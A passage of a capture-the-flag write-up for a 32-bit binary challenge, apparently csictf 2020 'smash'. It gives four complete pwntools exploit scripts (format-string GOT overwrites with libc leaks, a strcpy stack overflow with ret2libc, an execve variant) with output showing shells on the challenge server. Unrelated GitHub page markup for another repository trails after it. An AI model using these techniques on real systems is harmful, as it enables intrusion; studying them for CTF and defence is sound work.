0x08049f08 → 0x000000010xffffd670│+0x007c: 0xf7faa000 → 0x001d7d6c``` The string `blah` at `0xffffd5f8│+0x0004` is the input and is at offset 1 (determined from above). Down stack there are a number of `realloc` location leaks. Given the unbounded `strcpy`; something to be aware of (attack is ~60 bytes (measured)). `ralloac+9` at offset `29` (just count down from `blah`), looks like a good target, so I went with that. > BTW, `realloc+215` worked for me locally (Ubuntu 18), but not remotely--differences in libc versions used (`realloc+294`). The larger the offset within the libc call (`215` in this case) the greater the probably of difference between libc versions. Because of this I added a 2nd exploit to show how to leak from the GOT as an alternative. This is all we need. ### Exploit 1: stack leak ```python#!/usr/bin/python3 from pwn import * binary = ELF('./hello')context.update(arch='i386',os='linux') #p = process(binary.path)#libc = ELF('/lib/i386-linux-gnu/libc.so.6')p = remote('chall.csivit.com', 30046)libc = ELF('libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so') offset = 1libcoffset = 29``` Initial setup, and defining the offsets. (libc will be covered below.) ```pythonpayload = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$010p'payload += fmtstr_payload(offset+len(payload)//4,{binary.got.free:binary.sym.main},numbwritten=10)p.sendlineafter('name?\n', payload)p.recvuntil('Hello, ')realloc_9 = int(p.recv(10),16)log.info('realloc ' + hex(realloc_9 - 9))baselibc = realloc_9 - libc.sym.realloc - 9 log.info('baselibc ' + hex(baselibc))libc.address = baselibc``` This first format string will leak libc as well as GOT overwrite `free` with `main` for multiple passes. The first part of the string is the leak and it works out to be `%29$010p`. This will have `printf` emit exactly 10 bytes (e.g. `0x12345678`) the address of `realloc+9`. The second part of the string is the GOT overwrite. The offset is increased by two because the previous 8-bytes (`%29$010p`) pushes the start of the exploit string down two stack lines. `numbwritten` set to `10` (the amount `printf` will emit from the `%29$010p` string). If these are not correctly set, then the exploit will fail (bad math). The rest of the code just gets the leak and computes the base of libc. The first time this is run remotely the base of libc will probably be incorrect (i.e. not end in `000`), this is because we do not know the version of libc the task server is running. Using the output from `log.info('realloc ' + hex(realloc_9 - 9))` we can find the version: ```bash# libc-database/find realloc 8c0ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu11.2_amd64)``` And then update the `libc = ELF(...` line and rerun for a successful 2nd stage: ```pythonp.sendlineafter('name?\n', fmtstr_payload(offset,{binary.got.printf:libc.sym.system},numbwritten=0))``` The second stage is less complicated, no `offset` or `numbwritten` adjustments, just GOT overwrite `printf` with `system` (now that we know the base of libc). Now we're all set for the final stage: ```pythonp.sendlineafter('name?\n', '/bin/sh')p.recvuntil('not found') p.interactive()``` When prompted for `name`, just send `/bin/sh`, since `printf` is really `system`; get a shell, get the flag. > The `p.recvuntil('not found')` just captures the error from `system` when `Hello, ` is passed to `system`. Optional, but for cleaner output. Output: ```bash# ./exploit.py[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to chall.csivit.com on port 30046: Done[*] '/pwd/datajerk/csictf2020/smash/libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] realloc 0xf7e1e8c0[*] baselibc 0xf7dae000[*] Switching to interactive mode $ cat flag.txtcsictf{5up32_m4210_5m45h_8202}``` ### Exploit 2: GOT leak If leaking from the stack isn't your style or perhaps not working for you, you can leak directly from the GOT: ```python#!/usr/bin/python3 from pwn import * binary = ELF('./hello')context.update(arch='i386',os='linux') #p = process(binary.path)#libc = ELF('/lib/i386-linux-gnu/libc.so.6')p = remote('chall.csivit.com', 30046)libc = ELF('libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so') offset = 1 # 1st stage: free -> main for inf. 'free' ridesp.sendlineafter('name?\n', fmtstr_payload(offset,{binary.got.free:binary.sym.main})) # 2nd stage: leak libc addresspayload = b'%' + str(offset+2).encode().rjust(2,b'0') + b'$004s'payload += p32(binary.got.printf)p.sendlineafter('name?\n', payload)p.recvuntil('Hello, ')_ = p.recv(4).lstrip()printf = u32(_ + (4-len(_))*b'\x00')log.info('printf ' + hex(printf))baselibc = printf - libc.sym.printflog.info('baselibc ' + hex(baselibc))libc.address = baselibc # 3nd stage, printf -> systemp.sendlineafter('name?\n', fmtstr_payload(offset,{binary.got.printf:libc.sym.system})) # 4rd stage, ask for a shellp.sendlineafter('name?\n', '/bin/sh')p.recvuntil('not found') # now that printf is system, system('Hello, ') will emit 'not found' p.interactive()``` This is the same as the previous exploit except that the GOT overwrite `free` -> `main` is isolated as a discrete step with the libc leak as a new discrete step. The steps can be combined, but it's a bit harder--example [here](https://github.com/datajerk/ctf-write-ups/blob/master/redpwnctf2020/dead-canary/README.md#option-1a--option-1-using-s-to-leak-libc) of how to do that. The 2nd stage format string will end up being: `%03b$004s\x60\x84\x04\x08`. When `printf` "prints" this, it will emit the value referenced by `0x8048460` as a 4-byte (`04s`) string. This is the address of `printf`. The rest is similar to the previous exploit. Output: ```bash# ./exploit2.py[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to chall.csivit.com on port 30046: Done[*] '/pwd/datajerk/csictf2020/smash/libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] printf 0xf7de3030[*] baselibc 0xf7d9a000[*] Switching to interactive mode $ cat flag.txtcsictf{5up32_m4210_5m45h_8202}``` ### Exploit 3: All Smash _What if there were no format-string exploit?_ ```python#!/usr/bin/python3 from pwn import * binary = ELF('./hello')context.update(arch='i386',os='linux') p = remote('chall.csivit.com', 30046)libc = ELF('libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so') payload = 0x88 * b'A'payload += p32(binary.plt.puts)payload += p32(binary.sym.main)payload += p32(binary.got.puts) p.sendlineafter('name?\n', payload)p.recvuntil('!\n')_ = p.recv(4)puts = u32(_ + (4-len(_))*b'\x00')log.info('puts: ' + hex(puts))baselibc = puts - libc.sym.putslog.info('baselibc: ' + hex(baselibc))libc.address = baselibc payload = 0x88 * b'A'payload += p32(libc.sym.system)payload += 4 * b'B'payload += p32(libc.search(b'/bin/sh').__next__()) p.sendlineafter('name?\n', payload)p.recvuntil('!')p.interactive()``` This is not unlike [pwn intended 0x3 remote shell](https://github.com/datajerk/ctf-write-ups/tree/master/csictf2020/small_pwns#exploit-remote-shell), however, this is for 32-bits, and can be brittle (see below). From the source (above) `local_88` is `0x88` bytes from the return address on the stack (just how Ghidra names locals, quite handy). So, just send 0x88 _non-null_ bytes, followed by a call to `puts`, then the return to `main` (from `puts`) and the argument to `puts`--the address of, well, `puts`. This will leak the address of `puts` for computing the base of libc. After the _ret2main_, do the same BOF, but this time return to `system` and get a shell. > This did not work on my Ubuntu 18 dev container because `system` ends in `\x00` and `strcpy` stops and the first null, fortunately, the challenge server does not have this version of libc. Output: ```bash# ./exploit3.py[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to chall.csivit.com on port 30046: Done[*] '/pwd/datajerk/csictf2020/smash/libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] puts: 0xf7dad150[*] baselibc: 0xf7d4e000[*] Switching to interactive mode $ cat flag.txtcsictf{5up32_m4210_5m45h_8202}``` ### Exploit 4: _nulls?_ null problem ```python#!/usr/bin/python3 from pwn import * binary = ELF('./hello')context.update(arch='i386',os='linux') p = process(binary.path)libc = ELF('/lib/i386-linux-gnu/libc.so.6')#p = remote('chall.csivit.com', 30046)#libc = ELF('libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so') payload = 0x88 * b'A'payload += p32(binary.plt.puts)payload += p32(binary.sym.main)payload += p32(binary.got.puts) p.sendlineafter('name?\n', payload)p.recvuntil('!\n')_ = p.recv(4)puts = u32(_ + (4-len(_))*b'\x00')log.info('puts: ' + hex(puts))baselibc = puts - libc.sym.putslog.info('baselibc: ' + hex(baselibc))libc.address = baselibc payload = 0x88 * b'A'payload += p32(libc.sym.execve)payload += 4 * b'B'payload += p32(libc.search(b'/bin/sh').__next__())payload += p32(libc.sym.environ)payload += p32(libc.sym.environ) p.sendlineafter('name?\n', payload)p.recvuntil('!')p.interactive()``` In cases, like the above, where `system` has a null in Ubuntu 18's libc preventing `strcpy` from copying the entire exploit, consider `execve` as an alternate. `execve` requires three parameters: the command, a _word_ array (e.g. `char* argv[]`) of command line parameters, and a second _word_ array (e.g. `char* envp[]`) of environmental variables. Normally you'd just pass null (`0x0`), however, since `strcpy` terminates the copy at the first null, it's not possible to push this on the stack. Fortunately, libc provides a `char* envp[]` that can be used for both parameters, `environ`. Local output (Ubuntu 18 Docker container): ```bash# ./exploit4.py[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Starting local process '/pwd/datajerk/csictf2020/smash/hello': pid 15037[*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] puts: 0xf7e12b40[*] baselibc: 0xf7dab000[*] Switching to interactive mode $ iduid=0(root) gid=0(root) groups=0(root)``` Remote output (task server): ```bash# ./exploit4.py[*] '/pwd/datajerk/csictf2020/smash/hello' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to chall.csivit.com on port 30046: Done[*] '/pwd/datajerk/csictf2020/smash/libc-database/db/libc6-i386_2.23-0ubuntu11.2_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] puts: 0xf7d8a150[*] baselibc: 0xf7d2b000[*] Switching to interactive mode $ cat flag.txtcsictf{5up32_m4210_5m45h_8202}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-writeups/Poseidon CTF 1st Edition/PWN/Oldnote at master · KEERRO/ctf-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A15A:CDCE:CC3B596:D1A2C4E:64121E0F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="0da67819f2b11f606b608196bc8e120e06038b9eb3f024a3965a7f1122684afe" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMTVBOkNEQ0U6Q0MzQjU5NjpEMUEyQzRFOjY0MTIxRTBGIiwidmlzaXRvcl9pZCI6IjMxOTk0MzU5OTY0ODQ3Mzg1NzUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="2260f15a56750447c494926f82ed2a3b6687069deab61ec5b6ee7ed69811d856" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:162845937" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-writeups/Poseidon CTF 1st Edition/PWN/Oldnote at master · KEERRO/ctf-writeups" /><meta name="twitter:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e68933ac284b7f665c8ea555e19d7e6118920c67571ea8ca1312106e9058e23e/KEERRO/ctf-writeups" /><meta property="og:image:alt" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-writeups/Poseidon CTF 1st Edition/PWN/Oldnote at master · KEERRO/ctf-writeups" /><meta property="og:url" content="https://github.com/KEERRO/ctf-writeups" /><meta property="og:description" content="Contribute to KEERRO/ctf-writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/KEERRO/ctf-writeups git https://github.com/KEERRO/ctf-writeups.git"> <meta name="octolytics-dimension-user_id" content="46076094" /><meta name="octolytics-dimension-user_login" content="KEERRO" /><meta name="octolytics-dimension-repository_id" content="162845937" /><meta name="octolytics-dimension-repository_nwo" content="KEERRO/ctf-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162845937" /><meta name="octolytics-dimension-repository_network_root_nwo" content="KEERRO/ctf-writeups" /> <link rel="canonical" href="https://github.com/KEERRO/ctf-writeups/tree/master/Poseidon%20CTF%201st%20Edition/PWN/Oldnote" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 